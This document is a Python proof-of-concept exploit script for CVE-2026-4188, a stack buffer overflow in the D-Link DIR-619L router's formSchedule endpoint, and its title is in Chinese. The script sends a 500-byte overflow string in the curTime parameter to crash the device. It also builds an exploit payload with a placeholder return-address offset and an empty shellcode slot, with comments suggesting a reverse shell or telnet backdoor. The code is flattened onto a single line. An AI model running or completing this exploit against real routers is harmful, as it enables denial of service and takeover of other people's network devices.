CVE-2026-4188 D-Link DIR-619L 路由器 formSchedule 栈缓冲区溢出漏洞

import requests import sys # CVE-2026-4188 PoC - D-Link DIR-619L formSchedule Buffer Overflow # Target: D-Link DIR-619L Router (firmware 2.06B01) # Vulnerability: Stack-based buffer overflow in /goform/formSchedule (curTime parameter) def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2026-4188 """ url = f"http://{target_ip}:{target_port}/goform/formSchedule" # Normal payload (may not cause overflow but tests endpoint) normal_payload = { 'curTime': '12:00' } # Overflow payload - 500 bytes to trigger overflow overflow_payload = { 'curTime': 'A' * 500 } try: # First test with normal payload response = requests.post(url, data=normal_payload, timeout=5) print(f"[*] Normal request status: {response.status_code}") # Then test with overflow payload print(f"[*] Sending overflow payload (500 bytes)...") response = requests.post(url, data=overflow_payload, timeout=10) print(f"[*] Overflow request status: {response.status_code}") # Check if device is still responsive try: check = requests.get(f"http://{target_ip}:{target_port}/", timeout=5) print(f"[!] Device still responsive - may be vulnerable") return True except: print(f"[!] Device not responding - may have crashed (vulnerable)") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit CVE-2026-4188 - Stack buffer overflow in formSchedule Note: This requires knowledge of the specific firmware's memory layout """ url = f"http://{target_ip}:{target_port}/goform/formSchedule" # Calculate proper offset for the target firmware # This is a placeholder - actual offset needs to be determined via fuzzing offset = 200 # Offset to reach return address # Shellcode for MIPS/ARM would go here # Example: reverse shell, telnet backdoor, etc. shellcode = '' # Platform-specific shellcode # Construct overflow payload payload = 'A' * offset + shellcode + 'B' * (500 - offset - len(shellcode)) print(f"[*] Sending exploit payload...") response = requests.post(url, data={'curTime': payload}, timeout=10) print(f"[*] Exploit sent, check for shell") return response if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Testing CVE-2026-4188 on {target}:{port}") check_vulnerability(target, port)